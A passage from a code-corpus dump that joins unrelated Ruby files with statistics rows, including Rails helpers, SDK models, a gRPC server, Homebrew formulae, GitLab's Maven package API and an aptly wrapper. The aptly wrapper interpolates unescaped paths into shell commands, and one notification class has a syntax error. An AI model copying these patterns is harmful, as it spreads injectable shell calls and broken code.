return ["<p>Claiming this quote will replace your existing renewal draft plan year. This action cannot be undone. Are you sure you wish to claim this quote?</p><p>If you wish to review the quote details prior to claiming, please contact your Broker to provide you with a pdf copy of this quote.</p>"], "#claimQuoteWarning"
else
return ["<p>Claiming this quote will replace your existing draft plan year. This action cannot be undone. Are you sure you wish to claim this quote?</p><p>If you wish to review the quote details prior to claiming, please contact your Broker to provide you with a pdf copy of this quote.</p>"], "#claimQuoteWarning"
end
end
def display_employee_status_transitions(census_employee)
content = "<input type='text' class='form-control date-picker date-field'/>" || nil if CensusEmployee::EMPLOYMENT_ACTIVE_STATES.include? census_employee.aasm_state
content = "<input type='text' class='form-control date-picker date-field'/>" || nil if CensusEmployee::EMPLOYMENT_TERMINATED_STATES.include? census_employee.aasm_state
links = link_to "Terminate", "javascript:;", data: { "content": "#{content}" }, onclick: "EmployerProfile.changeCensusEmployeeStatus($(this))", class: "manual" if CensusEmployee::EMPLOYMENT_ACTIVE_STATES.include? census_employee.aasm_state
links = "#{link_to("Rehire", "javascript:;", data: { "content": "#{content}" }, onclick: "EmployerProfile.changeCensusEmployeeStatus($(this))", class: "manual")} #{link_to("COBRA", "javascript:;", onclick: "EmployerProfile.changeCensusEmployeeStatus($(this))")}" if CensusEmployee::EMPLOYMENT_TERMINATED_STATES.include? census_employee.aasm_state
return [links, content]
end
def is_rehired(ce)
(ce.coverage_terminated_on.present? && (ce.is_eligible? || ce.employee_role_linked?))
end
def is_terminated(ce)
(ce.coverage_terminated_on.present? && !(ce.is_eligible? || ce.employee_role_linked?))
end
def selected_benefit_plan(plan)
case plan
when :single_issuer then 'One Carrier'
when :metal_level then 'One Level'
when :single_product then 'A Single Plan'
end
end
def display_sic_field_for_employer?
Settings.aca.employer_has_sic_field
end
def display_referred_by_field_for_employer?
Settings.aca.employer_registration_has_referred_by_field
end
end
| 47.171429 | 350 | 0.743792 |
bffd65771cfc45610eb35b47f48342378e46d11f | 200 | class CreateUsersTable < ActiveRecord::Migration[4.2]
def change
create_table :users do |t|
t.string :username
t.text :email
t.string :password_digest
end
end
end | 22.222222 | 54 | 0.645 |
b90f9d7a10b904b5be5e5e9b3a8ec98ae4d26ee7 | 335 | class Notification::TopicReply < Notification::Base
belongs_to :reply
delegate :body, to: :reply, prefix: true, allow_nil: false
def notice_hash
return '' if self.reply.blank?
{
title: '您关注的话题有了新回复。'
content: self.reply_body[0, 30],
content_path: self.content_path
}
end
def content_path
end
end | 18.611111 | 60 | 0.683582 |
b939ca9089683d7fc1718f5d6b81062a3cb0521e | 2,915 | =begin
#Dependency-Track API
#No description provided (generated by Openapi Generator https://github.com/openapitools/openapi-generator)
The version of the OpenAPI document: 3.8.0
Generated by: https://openapi-generator.tech
OpenAPI Generator version: 4.3.1
=end
require 'spec_helper'
require 'json'
require 'date'
# Unit tests for DependencyTacker::ManagedUser
# Automatically generated by openapi-generator (https://openapi-generator.tech)
# Please update as you see appropriate
describe 'ManagedUser' do
before do
# run before each test
@instance = DependencyTacker::ManagedUser.new
end
after do
# run after each test
end
describe 'test an instance of ManagedUser' do
it 'should create an instance of ManagedUser' do
expect(@instance).to be_instance_of(DependencyTacker::ManagedUser)
end
end
describe 'test attribute "username"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
describe 'test attribute "new_password"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
describe 'test attribute "confirm_password"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
describe 'test attribute "last_password_change"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
describe 'test attribute "fullname"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
describe 'test attribute "email"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
describe 'test attribute "suspended"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
describe 'test attribute "force_password_change"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
describe 'test attribute "non_expiry_password"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
describe 'test attribute "teams"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
describe 'test attribute "permissions"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
end
| 28.578431 | 107 | 0.718696 |
79fe556c5afc00e4e1be90f64c32676082ab90d7 | 229 | # frozen_string_literal: true
module Doorkeeper
module CustomTokenResponse
def body
{
data: {
id: @token.id,
type: 'token',
attributes: super
}
}
end
end
end
| 14.3125 | 29 | 0.519651 |
38c870d7b23a23beba7bbdc0d6620ddff68417d5 | 5,333 | # Copyright (c) 2016, 2021, Oracle and/or its affiliates. All rights reserved.
# This software is dual-licensed to you under the Universal Permissive License (UPL) 1.0 as shown at https://oss.oracle.com/licenses/upl or Apache License 2.0 as shown at http://www.apache.org/licenses/LICENSE-2.0. You may choose either license.
require 'date'
# rubocop:disable Lint/UnneededCopDisableDirective, Metrics/LineLength
module OCI
# Summary of the ResponderRule within ResponderRecipe.
class CloudGuard::Models::ResponderRecipeResponderRuleCollection
# **[Required]** List of ResponderRecipeResponderRuleSummary
# @return [Array<OCI::CloudGuard::Models::ResponderRecipeResponderRuleSummary>]
attr_accessor :items
# Attribute mapping from ruby-style variable name to JSON key.
def self.attribute_map
{
# rubocop:disable Style/SymbolLiteral
'items': :'items'
# rubocop:enable Style/SymbolLiteral
}
end
# Attribute type mapping.
def self.swagger_types
{
# rubocop:disable Style/SymbolLiteral
'items': :'Array<OCI::CloudGuard::Models::ResponderRecipeResponderRuleSummary>'
# rubocop:enable Style/SymbolLiteral
}
end
# rubocop:disable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity
# rubocop:disable Metrics/MethodLength, Layout/EmptyLines, Style/SymbolLiteral
# Initializes the object
# @param [Hash] attributes Model attributes in the form of hash
# @option attributes [Array<OCI::CloudGuard::Models::ResponderRecipeResponderRuleSummary>] :items The value to assign to the {#items} property
def initialize(attributes = {})
return unless attributes.is_a?(Hash)
# convert string to symbol for hash key
attributes = attributes.each_with_object({}) { |(k, v), h| h[k.to_sym] = v }
self.items = attributes[:'items'] if attributes[:'items']
end
# rubocop:enable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity
# rubocop:enable Metrics/MethodLength, Layout/EmptyLines, Style/SymbolLiteral
# rubocop:disable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity, Layout/EmptyLines
# Checks equality by comparing each attribute.
# @param [Object] other the other object to be compared
def ==(other)
return true if equal?(other)
self.class == other.class &&
items == other.items
end
# rubocop:enable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity, Layout/EmptyLines
# @see the `==` method
# @param [Object] other the other object to be compared
def eql?(other)
self == other
end
# rubocop:disable Metrics/AbcSize, Layout/EmptyLines
# Calculates hash code according to all attributes.
# @return [Fixnum] Hash code
def hash
[items].hash
end
# rubocop:enable Metrics/AbcSize, Layout/EmptyLines
# rubocop:disable Metrics/AbcSize, Layout/EmptyLines
# Builds the object from hash
# @param [Hash] attributes Model attributes in the form of hash
# @return [Object] Returns the model itself
def build_from_hash(attributes)
return nil unless attributes.is_a?(Hash)
self.class.swagger_types.each_pair do |key, type|
if type =~ /^Array<(.*)>/i
# check to ensure the input is an array given that the the attribute
# is documented as an array but the input is not
if attributes[self.class.attribute_map[key]].is_a?(Array)
public_method("#{key}=").call(
attributes[self.class.attribute_map[key]]
.map { |v| OCI::Internal::Util.convert_to_type(Regexp.last_match(1), v) }
)
end
elsif !attributes[self.class.attribute_map[key]].nil?
public_method("#{key}=").call(
OCI::Internal::Util.convert_to_type(type, attributes[self.class.attribute_map[key]])
)
end
# or else data not found in attributes(hash), not an issue as the data can be optional
end
self
end
# rubocop:enable Metrics/AbcSize, Layout/EmptyLines
# Returns the string representation of the object
# @return [String] String presentation of the object
def to_s
to_hash.to_s
end
# Returns the object in the form of hash
# @return [Hash] Returns the object in the form of hash
def to_hash
hash = {}
self.class.attribute_map.each_pair do |attr, param|
value = public_method(attr).call
next if value.nil? && !instance_variable_defined?("@#{attr}")
hash[param] = _to_hash(value)
end
hash
end
private
# Outputs non-array value in the form of hash
# For object, use to_hash. Otherwise, just return the value
# @param [Object] value Any valid value
# @return [Hash] Returns the value in the form of hash
def _to_hash(value)
if value.is_a?(Array)
value.compact.map { |v| _to_hash(v) }
elsif value.is_a?(Hash)
{}.tap do |hash|
value.each { |k, v| hash[k] = _to_hash(v) }
end
elsif value.respond_to? :to_hash
value.to_hash
else
value
end
end
end
end
# rubocop:enable Lint/UnneededCopDisableDirective, Metrics/LineLength
| 35.317881 | 245 | 0.676542 |
622513d38054bfe6a235ac1d3b73f5ebeb402b70 | 2,411 | #!/usr/bin/env ruby
# Copyright 2015, Google Inc.
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are
# met:
#
# * Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
# * Redistributions in binary form must reproduce the above
# copyright notice, this list of conditions and the following disclaimer
# in the documentation and/or other materials provided with the
# distribution.
# * Neither the name of Google Inc. nor the names of its
# contributors may be used to endorse or promote products derived from
# this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
# A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
# OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
# Sample gRPC server that implements the Greeter::Helloworld service.
#
# Usage: $ path/to/greeter_server.rb
this_dir = File.expand_path(File.dirname(__FILE__))
lib_dir = File.join(this_dir, 'lib')
$LOAD_PATH.unshift(lib_dir) unless $LOAD_PATH.include?(lib_dir)
require 'grpc'
require 'helloworld_services'
# GreeterServer is simple server that implements the Helloworld Greeter server.
class GreeterServer < Helloworld::Greeter::Service
# say_hello implements the SayHello rpc method.
def say_hello(hello_req, _unused_call)
Helloworld::HelloReply.new(message: "Hello #{hello_req.name}")
end
end
# main starts an RpcServer that receives requests to GreeterServer at the sample
# server port.
def main
s = GRPC::RpcServer.new
s.add_http2_port('0.0.0.0:50051', :this_port_is_insecure)
s.handle(GreeterServer)
s.run_till_terminated
end
main
| 39.52459 | 80 | 0.77893 |
01aab1c2e85dfe8720a684b813a060dd0a7bbc13 | 1,892 | module Aptly
module Watcher
class AptlyShim
def initialize(name, components, config)
@name = name # distribution
@components = components # repos
@config = config
create
end
def create
repo_list = `aptly repo list #{config} --raw`
# create a repo for each component
@components.each do |repo|
next if repo_list.include? repo # avoid raising an error
output = `aptly repo create #{distrib} #{config} #{component(repo)} #{repo} 2>&1`
raise StandardError, "Failed to create repo #{repo}\n#{output}" unless $?.success?
Aptly::Watcher.log :info, "Created repo #{@name}/#{repo}"
end
# publish the repos for the first time (empty)
unless `aptly publish list #{config} --raw`.include? @name # avoid raising an error
output = `aptly publish repo #{config} #{distrib} #{component(:all)} #{@components.join(' ')} 2>&1`
raise StandardError, "Failed to publish #{@name} for the first time\n#{output}" unless $?.success?
Aptly::Watcher.log :info, "Published repos #{@components.join('/')} for #{@name}"
end
end
def add(repo, path)
# TODO: check if the file has already been added
# TODO: check that the file is a Debian package
output = `aptly repo add -remove-files=true #{config} #{repo} #{path} 2>&1`
raise StandardError, "Failed to add #{path} to #{repo}\n#{output}" unless $?.success?
end
def publish
system "aptly publish update #{config} #{@name}"
end
private
def component(repo)
repo = @components.join(',') if repo == :all
"-component=#{repo}"
end
def distrib
"-distribution=#{@name}"
end
def config
"-config='#{@config}'"
end
end
end
end | 32.62069 | 109 | 0.574524 |
e27841148dacb8b6c443c513453411d510ac8d2c | 257 | class CreateSchoolDistricts < ActiveRecord::Migration
def self.up
create_table :school_districts do |t|
t.string :name
t.integer :jurisdiction_id
t.timestamps
end
end
def self.down
drop_table :school_districts
end
end
| 18.357143 | 53 | 0.70428 |
5d81f97e1455076caa33333b4d484c7ab410f6fc | 1,631 | require 'formula'
class TomcatNative < Formula
homepage 'http://tomcat.apache.org/native-doc/'
url 'http://www.apache.org/dyn/closer.cgi?path=tomcat/tomcat-connectors/native/1.1.31/source/tomcat-native-1.1.31-src.tar.gz'
sha1 '177b1f43f3dbc16eeea39d85147355be29a6089f'
depends_on "libtool" => :build
depends_on "tomcat" => :recommended
depends_on :java => "1.7"
depends_on "openssl"
def install
cd "jni/native" do
system "./configure", "--prefix=#{prefix}",
"--with-apr=#{MacOS.sdk_path}/usr",
"--with-java-home=#{`/usr/libexec/java_home`.chomp}",
"--with-ssl=#{Formula["openssl"].prefix}"
# fixes occasional compiling issue: glibtool: compile: specify a tag with `--tag'
args = ["LIBTOOL=glibtool --tag=CC"]
# fixes a broken link in mountain lion's apr-1-config (it should be /XcodeDefault.xctoolchain/):
# usr/local/opt/libtool/bin/glibtool: line 1125: /Applications/Xcode.app/Contents/Developer/Toolchains/OSX10.8.xctoolchain/usr/bin/cc: No such file or directory
args << "CC=#{ENV.cc}" if MacOS.version >= :mountain_lion
system "make", *args
system "make install"
end
end
def caveats; <<-EOS.undent
In order for tomcat's APR lifecycle listener to find this library, you'll
need to add it to java.library.path. This can be done by adding this line
to $CATALINA_HOME/bin/setenv.sh
CATALINA_OPTS=\"$CATALINA_OPTS -Djava.library.path=#{lib}\"
If $CATALINA_HOME/bin/setenv.sh doesn't exist, create it and make it executable.
EOS
end
end
| 39.780488 | 166 | 0.660331 |
87b15d28720f8108d76723b3e4fc6a4f6a3db12c | 1,035 | module GovukIndex
class SupertypeWorker < Indexer::BaseWorker
BULK_INDEX_TIMEOUT = 60
QUEUE_NAME = 'bulk'.freeze
sidekiq_options queue: QUEUE_NAME
def perform(records, destination_index)
actions = Index::ElasticsearchProcessor.new(client: GovukIndex::Client.new(timeout: BULK_INDEX_TIMEOUT, index_name: destination_index))
updated_records = records.reject { |record|
record['document'] == update_document_supertypes(record['document'])
}
updated_records.each do |record|
actions.save(
process_record(record)
)
end
actions.commit
end
def process_record(record)
OpenStruct.new(
identifier: record['identifier'].merge('_version_type' => 'external_gte'),
document: update_document_supertypes(record['document'])
)
end
def update_document_supertypes(doc_hash)
doc_hash.merge(
GovukDocumentTypes.supertypes(document_type: doc_hash["content_store_document_type"])
)
end
end
end
| 27.972973 | 141 | 0.689855 |
4a5b2ead163aa84b407259e729bef632034212b7 | 9,249 | # frozen_string_literal: true
module API
class MavenPackages < ::API::Base
MAVEN_ENDPOINT_REQUIREMENTS = {
file_name: API::NO_SLASH_URL_PART_REGEX
}.freeze
feature_category :package_registry
content_type :md5, 'text/plain'
content_type :sha1, 'text/plain'
content_type :binary, 'application/octet-stream'
rescue_from ActiveRecord::RecordInvalid do |e|
render_api_error!(e.message, 400)
end
before do
require_packages_enabled!
authenticate_non_get!
end
helpers ::API::Helpers::PackagesHelpers
helpers do
def extract_format(file_name)
name, _, format = file_name.rpartition('.')
if %w(md5 sha1).include?(format)
[name, format]
else
[file_name, format]
end
end
def verify_package_file(package_file, uploaded_file)
stored_sha256 = Digest::SHA256.hexdigest(package_file.file_sha1)
expected_sha256 = uploaded_file.sha256
if stored_sha256 == expected_sha256
no_content!
else
conflict!
end
end
def find_project_by_path(path)
project_path = path.rpartition('/').first
Project.find_by_full_path(project_path)
end
def jar_file?(format)
format == 'jar'
end
def present_carrierwave_file_with_head_support!(file, supports_direct_download: true)
if head_request_on_aws_file?(file, supports_direct_download) && !file.file_storage?
return redirect(signed_head_url(file))
end
present_carrierwave_file!(file, supports_direct_download: supports_direct_download)
end
def signed_head_url(file)
fog_storage = ::Fog::Storage.new(file.fog_credentials)
fog_dir = fog_storage.directories.new(key: file.fog_directory)
fog_file = fog_dir.files.new(key: file.path)
expire_at = ::Fog::Time.now + file.fog_authenticated_url_expiration
fog_file.collection.head_url(fog_file.key, expire_at)
end
def head_request_on_aws_file?(file, supports_direct_download)
Gitlab.config.packages.object_store.enabled &&
supports_direct_download &&
file.class.direct_download_enabled? &&
request.head? &&
file.fog_credentials[:provider] == 'AWS'
end
end
desc 'Download the maven package file at instance level' do
detail 'This feature was introduced in GitLab 11.6'
end
params do
requires :path, type: String, desc: 'Package path'
requires :file_name, type: String, desc: 'Package file name'
end
route_setting :authentication, job_token_allowed: true, deploy_token_allowed: true
get 'packages/maven/*path/:file_name', requirements: MAVEN_ENDPOINT_REQUIREMENTS do
file_name, format = extract_format(params[:file_name])
# To avoid name collision we require project path and project package be the same.
# For packages that have different name from the project we should use
# the endpoint that includes project id
project = find_project_by_path(params[:path])
authorize_read_package!(project)
package = ::Packages::Maven::PackageFinder
.new(params[:path], current_user, project: project).execute!
package_file = ::Packages::PackageFileFinder
.new(package, file_name).execute!
case format
when 'md5'
package_file.file_md5
when 'sha1'
package_file.file_sha1
else
track_package_event('pull_package', :maven) if jar_file?(format)
present_carrierwave_file_with_head_support!(package_file.file)
end
end
desc 'Download the maven package file at a group level' do
detail 'This feature was introduced in GitLab 11.7'
end
params do
requires :id, type: String, desc: 'The ID of a group'
end
resource :groups, requirements: API::NAMESPACE_OR_PROJECT_REQUIREMENTS do
params do
requires :path, type: String, desc: 'Package path'
requires :file_name, type: String, desc: 'Package file name'
end
route_setting :authentication, job_token_allowed: true, deploy_token_allowed: true
get ':id/-/packages/maven/*path/:file_name', requirements: MAVEN_ENDPOINT_REQUIREMENTS do
file_name, format = extract_format(params[:file_name])
group = find_group(params[:id])
not_found!('Group') unless can?(current_user, :read_group, group)
package = ::Packages::Maven::PackageFinder
.new(params[:path], current_user, group: group).execute!
authorize_read_package!(package.project)
package_file = ::Packages::PackageFileFinder
.new(package, file_name).execute!
case format
when 'md5'
package_file.file_md5
when 'sha1'
package_file.file_sha1
else
track_package_event('pull_package', :maven) if jar_file?(format)
present_carrierwave_file_with_head_support!(package_file.file)
end
end
end
params do
requires :id, type: String, desc: 'The ID of a project'
end
resource :projects, requirements: API::NAMESPACE_OR_PROJECT_REQUIREMENTS do
desc 'Download the maven package file' do
detail 'This feature was introduced in GitLab 11.3'
end
params do
requires :path, type: String, desc: 'Package path'
requires :file_name, type: String, desc: 'Package file name'
end
route_setting :authentication, job_token_allowed: true, deploy_token_allowed: true
get ':id/packages/maven/*path/:file_name', requirements: MAVEN_ENDPOINT_REQUIREMENTS do
authorize_read_package!(user_project)
file_name, format = extract_format(params[:file_name])
package = ::Packages::Maven::PackageFinder
.new(params[:path], current_user, project: user_project).execute!
package_file = ::Packages::PackageFileFinder
.new(package, file_name).execute!
case format
when 'md5'
package_file.file_md5
when 'sha1'
package_file.file_sha1
else
track_package_event('pull_package', :maven) if jar_file?(format)
present_carrierwave_file_with_head_support!(package_file.file)
end
end
desc 'Workhorse authorize the maven package file upload' do
detail 'This feature was introduced in GitLab 11.3'
end
params do
requires :path, type: String, desc: 'Package path'
requires :file_name, type: String, desc: 'Package file name', regexp: Gitlab::Regex.maven_file_name_regex
end
route_setting :authentication, job_token_allowed: true, deploy_token_allowed: true
put ':id/packages/maven/*path/:file_name/authorize', requirements: MAVEN_ENDPOINT_REQUIREMENTS do
authorize_upload!
status 200
content_type Gitlab::Workhorse::INTERNAL_API_CONTENT_TYPE
::Packages::PackageFileUploader.workhorse_authorize(has_length: true, maximum_size: user_project.actual_limits.maven_max_file_size)
end
desc 'Upload the maven package file' do
detail 'This feature was introduced in GitLab 11.3'
end
params do
requires :path, type: String, desc: 'Package path'
requires :file_name, type: String, desc: 'Package file name', regexp: Gitlab::Regex.maven_file_name_regex
requires :file, type: ::API::Validations::Types::WorkhorseFile, desc: 'The package file to be published (generated by Multipart middleware)'
end
route_setting :authentication, job_token_allowed: true, deploy_token_allowed: true
put ':id/packages/maven/*path/:file_name', requirements: MAVEN_ENDPOINT_REQUIREMENTS do
authorize_upload!
bad_request!('File is too large') if user_project.actual_limits.exceeded?(:maven_max_file_size, params[:file].size)
file_name, format = extract_format(params[:file_name])
result = ::Packages::Maven::FindOrCreatePackageService
.new(user_project, current_user, params.merge(build: current_authenticated_job)).execute
bad_request!(result.errors.first) if result.error?
package = result.payload[:package]
case format
when 'sha1'
# After uploading a file, Maven tries to upload a sha1 and md5 version of it.
# Since we store md5/sha1 in database we simply need to validate our hash
# against one uploaded by Maven. We do this for `sha1` format.
package_file = ::Packages::PackageFileFinder
.new(package, file_name).execute!
verify_package_file(package_file, params[:file])
when 'md5'
''
else
track_package_event('push_package', :maven) if jar_file?(format)
file_params = {
file: params[:file],
size: params['file.size'],
file_name: file_name,
file_type: params['file.type'],
file_sha1: params['file.sha1'],
file_md5: params['file.md5']
}
::Packages::CreatePackageFileService.new(package, file_params.merge(build: current_authenticated_job)).execute
end
end
end
end
end
| 35.710425 | 148 | 0.670883 |
ab3c541aea908fb06506646554508db9807a0774 | 376 | # frozen_string_literal: true
module Pipe
class Person < Entity
class << self
def fields
@fields ||= Pipe::Field.fields(:person)
end
end
def inspect
"<Pipe::Person @id=#{id} @name=#{name} @email=#{email}>"
end
def organization
return nil unless self.org_id
Pipe::Organization.find(self.org_id)
end
end
end
| 17.090909 | 62 | 0.603723 |
ffad00fa7d74d5054fdc6c303a8ca737ed2ef997 | 2,642 | # frozen_string_literal: true
module Gitlab
module DependencyLinker
class BaseLinker
URL_REGEX = %r{https?://[^'" ]+}.freeze
GIT_INVALID_URL_REGEX = /^git\+#{URL_REGEX}/.freeze
REPO_REGEX = %r{[^/'" ]+/[^/'" ]+}.freeze
class_attribute :file_type
def self.support?(blob_name)
Gitlab::FileDetector.type_of(blob_name) == file_type
end
def self.link(*args)
new(*args).link
end
attr_accessor :plain_text, :highlighted_text
def initialize(plain_text, highlighted_text)
@plain_text = plain_text
@highlighted_text = highlighted_text
end
def link
link_dependencies
highlighted_lines.join.html_safe
end
def external_url(name, external_ref)
return if external_ref =~ GIT_INVALID_URL_REGEX
case external_ref
when /\A#{URL_REGEX}\z/
external_ref
when /\A#{REPO_REGEX}\z/
github_url(external_ref)
else
package_url(name)
end
end
private
def package_url(_name)
raise NotImplementedError
end
def link_dependencies
raise NotImplementedError
end
def license_url(name)
Licensee::License.find(name)&.url
end
def github_url(name)
"https://github.com/#{name}"
end
def link_tag(name, url)
%{<a href="#{ERB::Util.html_escape_once(url)}" rel="nofollow noreferrer noopener" target="_blank">#{ERB::Util.html_escape_once(name)}</a>}
end
# Links package names based on regex.
#
# Example:
# link_regex(/(github:|:github =>)\s*['"](?<name>[^'"]+)['"]/)
# # Will link `user/repo` in `github: "user/repo"` or `:github => "user/repo"`
def link_regex(regex, &url_proc)
highlighted_lines.map!.with_index do |rich_line, i|
marker = StringRegexMarker.new(plain_lines[i].chomp, rich_line.html_safe)
marker.mark(regex, group: :name) do |text, left:, right:|
url = yield(text)
url ? link_tag(text, url) : text
end
end
end
def plain_lines
@plain_lines ||= plain_text.lines
end
def highlighted_lines
@highlighted_lines ||= highlighted_text.lines
end
def regexp_for_value(value, default: /[^'" ]+/)
case value
when Array
Regexp.union(value.map { |v| regexp_for_value(v, default: default) })
when String
Regexp.escape(value)
when Regexp
value
else
default
end
end
end
end
end
| 24.691589 | 146 | 0.58327 |
3959770420fa4a6856397e4cf47cd278f42eebb3 | 575 | module MongodbLogger
class Application
end
end
class Rails
module VERSION
MAJOR = 4
end
def self.env
ActiveSupport::StringInquirer.new("test")
end
def self.root
Pathname.new(File.expand_path(File.join(File.dirname(__FILE__), "..", "..", "tmp")))
end
def self.application
MongodbLogger::Application.new
end
def self.logger
MongodbLogger::Logger.new
end
end
module ActiveRecord
class LogSubscriber
def self.colorize_logging
true
end
end
class Base
def self.colorize_logging
true
end
end
end | 14.375 | 88 | 0.683478 |
bfe0d2ee9b87307af304e49c5386dec7460e70ce | 383 | # frozen_string_literal: true
class CreateWarnings < ActiveRecord::Migration[4.2]
def change
create_table :warnings do |t|
t.references :topic, null: false
t.references :user, null: false
t.integer :created_by_id, null: false
t.timestamps null: false
end
add_index :warnings, :user_id
add_index :warnings, :topic_id, unique: true
end
end
| 25.533333 | 51 | 0.694517 |
bb4c7c308b88bff6edd0b7d97412abc57a373675 | 188 | class CreateRounds < ActiveRecord::Migration[5.0]
def change
create_table :rounds do |t|
t.integer :round_map
t.integer :round_room
t.timestamps
end
end
end
| 17.090909 | 49 | 0.664894 |
abbb765b8942a44dfa4d725bc52a48c3db5f19e4 | 1,206 | require 'bundler/inline'
require 'etc'
require 'optparse'
gemfile(true) do
source 'https://rubygems.org'
gem 'rails', '~> 6.1.4.1'
gem 'puma', '~> 5.5.0'
end
require 'action_controller/railtie'
class App < Rails::Application
routes.append do
get '/' => 'greeting#index'
get '/greeting/:name' => 'greeting#name'
end
config.action_controller.perform_caching = true
config.api_only = true
config.cache_classes = true
config.consider_all_requests_local = true
config.eager_load = true
config.log_level = :warn
config.logger = Logger.new('/dev/null')
config.secret_key_base = '59484ad3-3d7e-4854-9137-5c7ea01a48cd'
end
class GreetingController < ActionController::API
def index
render plain: 'Hello, world!'
end
def name
render plain: "Hello, #{params['name']}"
end
end
options = { port: 3000 }
OptionParser.new do |opts|
opts.on('-pPORT', '--port=PORT', Integer, 'server port') do |port|
options[:port] = port
end
end.parse!
pid = Process.pid
File.write('.pid', pid)
puts "Master #{pid} is running on port #{options[:port]}"
ENV['WEB_CONCURRENCY'] = Etc.nprocessors.to_s
App.initialize!
Rack::Server.new(app: App, Port: options[:port]).start
| 22.333333 | 68 | 0.692371 |
11595dec86d02cc9cc61e66bd24bd68c2a30eff4 | 835 | module Sufia
module BlacklightOverride
def render_bookmarks_control?
false
end
def url_for_document(doc, _options = {})
if doc.is_a?(SolrDocument) && doc.hydra_model == 'Collection'
[collections, doc]
else
[sufia, doc]
end
end
def render_constraints_query(localized_params = params)
# So simple don't need a view template, we can just do it here.
scope = localized_params.delete(:route_set) || self
return "".html_safe if localized_params[:q].blank?
render_constraint_element(constraint_query_label(localized_params),
localized_params[:q],
classes: ["query"],
remove: scope.url_for(localized_params.merge(q: nil, action: 'index')))
end
end
end
| 30.925926 | 103 | 0.605988 |
7949a427c340db722709fe0c6e7ef3326b25af0a | 820 | cask "db-browser-for-sqlite" do
version "3.12.2"
sha256 "546d57b6c88c2be7517759c016c0bf0313dfcc14adfcb43967f3c5d24657f366"
url "https://github.com/sqlitebrowser/sqlitebrowser/releases/download/v#{version}/DB.Browser.for.SQLite-#{version}.dmg",
verified: "github.com/sqlitebrowser/sqlitebrowser/"
name "DB Browser for SQLite"
desc "Browser for SQLite databases"
homepage "https://sqlitebrowser.org/"
livecheck do
url "https://github.com/sqlitebrowser/sqlitebrowser/releases"
strategy :page_match
regex(%r{href=.*?/DB\.Browser\.for\.SQLite-(\d+(?:\.\d+)+)(?:-v\d+)?\.dmg}i)
end
app "DB Browser for SQLite.app"
zap trash: [
"~/Library/Preferences/com.sqlitebrowser.sqlitebrowser.plist",
"~/Library/Saved Application State/net.sourceforge.sqlitebrowser.savedState",
]
end
| 34.166667 | 122 | 0.72439 |
6afa8fd2fabc51aac5ca07fc883c3d4688bd8a0f | 3,980 | # This file was generated by the `rails generate rspec:install` command. Conventionally, all
# specs live under a `spec` directory, which RSpec adds to the `$LOAD_PATH`.
# The generated `.rspec` file contains `--require spec_helper` which will cause this
# file to always be loaded, without a need to explicitly require it in any files.
#
# Given that it is always loaded, you are encouraged to keep this file as
# light-weight as possible. Requiring heavyweight dependencies from this file
# will add to the boot time of your test suite on EVERY test run, even for an
# individual file that may not need all of that loaded. Instead, consider making
# a separate helper file that requires the additional dependencies and performs
# the additional setup, and require it from the spec files that actually need it.
#
# The `.rspec` file also contains a few flags that are not defaults but that
# users commonly want.
#
# See http://rubydoc.info/gems/rspec-core/RSpec/Core/Configuration
RSpec.configure do |config|
# rspec-expectations config goes here. You can use an alternate
# assertion/expectation library such as wrong or the stdlib/minitest
# assertions if you prefer.
config.expect_with :rspec do |expectations|
# This option will default to `true` in RSpec 4. It makes the `description`
# and `failure_message` of custom matchers include text for helper methods
# defined using `chain`, e.g.:
# be_bigger_than(2).and_smaller_than(4).description
# # => "be bigger than 2 and smaller than 4"
# ...rather than:
# # => "be bigger than 2"
expectations.include_chain_clauses_in_custom_matcher_descriptions = true
end
# rspec-mocks config goes here. You can use an alternate test double
# library (such as bogus or mocha) by changing the `mock_with` option here.
config.mock_with :rspec do |mocks|
# Prevents you from mocking or stubbing a method that does not exist on
# a real object. This is generally recommended, and will default to
# `true` in RSpec 4.
mocks.verify_partial_doubles = true
end
# These two settings work together to allow you to limit a spec run
